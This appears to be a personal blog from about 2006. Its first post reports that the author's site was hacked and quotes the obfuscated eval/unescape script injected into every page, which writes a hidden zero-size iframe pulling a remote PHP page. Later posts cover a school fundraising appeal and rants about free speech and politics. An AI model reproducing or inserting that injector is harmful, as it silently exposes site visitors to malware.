More Hackers – Who’s Side Are They On?

It appears that our web site has been yet hacked again. Here’s the crap that is on every html page on here. (Over 700)

script language=”javascript”>eval(unescape(‘%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%61%74%65%63%68%2E%63%6F%2E%6B%72%2F%6D%2E%70%68%70%22%20%77%69%64%74%68%3D%30%20%68%65%69%67%68%74%3D%30%20%62%6F%72%64%65%72%3D%30%3E%3C%2F%69%66%72%61%6D%65%3E%27%29%3B’))/script.

Update: I called Ipowerweb three times, the last being this morning. They concur that the “Script” is a virus, and that it’s up to me to remove the code. So now what? Delete everything? Or sit here all day and manually go through several hundered pages? I have a feeling that someone who does not like my political views is behind this. The good thing is that i saved my referer logs and should be able to spot where and when they did this. Also, where’s there’s smoke, there’s fire.

I have to password protect the whole site in the meantime, as not to spread this virus. To the person(s) who are behind this, you”ll get yours, not from me, but from bad karma. It ‘s a given.

P.S. I managed to delete the code from the blog by republishing it entirely from Blogger. As for the rest of the site, I will delete and start anew.

I Believe In Saint Cyril School

Class Of 1975
I went to Saint Cyrils in the Sixties and Seventies. Growing up in the Stonehurst section of Upper Darby, Our parish was St.Carthages on cobbs creek parkway. In the early 60’s, St Cyril took over as our new parish. I have both fond and not so fond memories of St. Cyrils, such as Sister Herman Joseph, and Dirk Slater. Anyway, one of the things I did learn was disipline, like you can see that in my blog posts. All in all our School was the best. I remember the May Procession, Father O’Donnell, Mr. Doyle, Miss Hess, Sister Adrian, Mother Superior,The Social Hall, etc, etc. I loved and still love my old school. Now, Saint Cyril of Alexandria is slated to close unless the school comes up with a quarter of a million dollars by March 31st.

How I found Out About This

How I found out about this was through the Daily Times a few weeks ago. Also, Paul Thomas, owner of Thomas’s Cafe, has taken great steps to help out. The young man who started this whole thing is Tommy Geromichalos. Quote about him from St.Cyril’s web site below.

Inspired by 12 year old Tommy Geromichalos, and aided by a series of articles in the Delaware County Daily Times, the parish held a meeting Wednesday night, January 25th to start an effort to raise the $200,000 needed by March 31, 2006. Tommy has Cystic Fibrosis and wrote a letter to the Make-A Wish Foundation

So I was thinking at this late hour how to help. Call Oprah? Send out e-mails? Ask Congress to intervene? How about Curt Weldon? All these things would not help. What would help at this point is nothing short of a miracle. And Tommy is asking for one.

I think he deserves it…

P.S. I believe that if every person who ever went to Saint Cyrils donated five dollars they could easily reach their goal. Do the math. 1000 students per year X 50 years (1955 -2005) X
5 = 250,000. Now I may be wrong about the total number of students to have ever attended St Cyrils, but I failed to mention that I also learned how to dream.


Out. Of. Control.

Some will see this as a sticky situation. Some will see it as an abvious insult. Some will see it as an obvious over-reaction.

I belive in free speach. I believe newspapers can print what they want and people in return have the right to not buy it. I believe the FCC shouldn’t be so tough on radio jocks like Stern since people have a choice. People can turn it off.

Why are there people out in this world who don’t understand that? Everything should be filtered and filtered and held to some standard? Hey people, don’t like it? Turn. It. Off. Think some music is offensive? Don’t freaking buy it! Don’t let your kid buy it! Think some tv show is offensive? Don’t freaking watch it! Don’t like a radio show? Turn the freaking dial!

This whole cartoon thing. I get it that a certain population is all pissed off at this representation of whom they believe as a prophet. But where do they get off? Jokes, caricatures, etc, is never shoved down the face of catholics? buddhists? jews? I’m not talking just about the type of people I’m talking about the idols they worship. We all know of the many many many jewish jokes that don’t have to do with that which they hold as higher powers but there in fact ones that do poke fun at such an idol.

What I love most is this perception that its a government’s fault. This idea that governments should be controlling newspapers and ensuring what they print will not offend anyone in the world at all. This is what happens when a religion becomes a political system. Yeah burn the Danish flag because a newspaper printed a story. Yeah that makes sense.

Its so hypocritical. Iran is out there bashing everyone through their government run papers and advertisements. Not just the US but everyone. The people, the political system, the religions…everyone. But now the shoe is on the other foot and there’s nothing but outrage?

Kudos to all of the other newspapers in the many other nations that ran the same cartoon. Jeers to the US for condeming the cartoon (Jee that’s not some obvious plow to get a certain population on your good side? Come on be creative at least). Oh and I really loved it when papers ran the offensive cartoon just to ‘show the people the offensive cartoon’. Yyyyeeaaahhh. That’s why you did it. Ssssuuurree. Not reaching trying to get the alrighty buck there are ya? No not at all.

Talk Is Cheap In America

I listened to Mr.Bush’s “State of the Union Address“, and quite frankly, I thought it to be a bunch of bullshit. Same old same old, just like Clinton, Bush Sr, RayGun, etc. Ever watch the Grammy’s? Lets’s pat each other on the back and tell the world that we have found pots of gold over the rainbow. (In reality, the pots of gold are for them, not you and I.)

I am now growing angry about all politicial parties involved. Dems, Pubs, even Independant’s all try to tout “Were for you and AMERICA“, but, in reality, they are for themselves and their GREED. Wake up, and really care about your fellow American and the world.
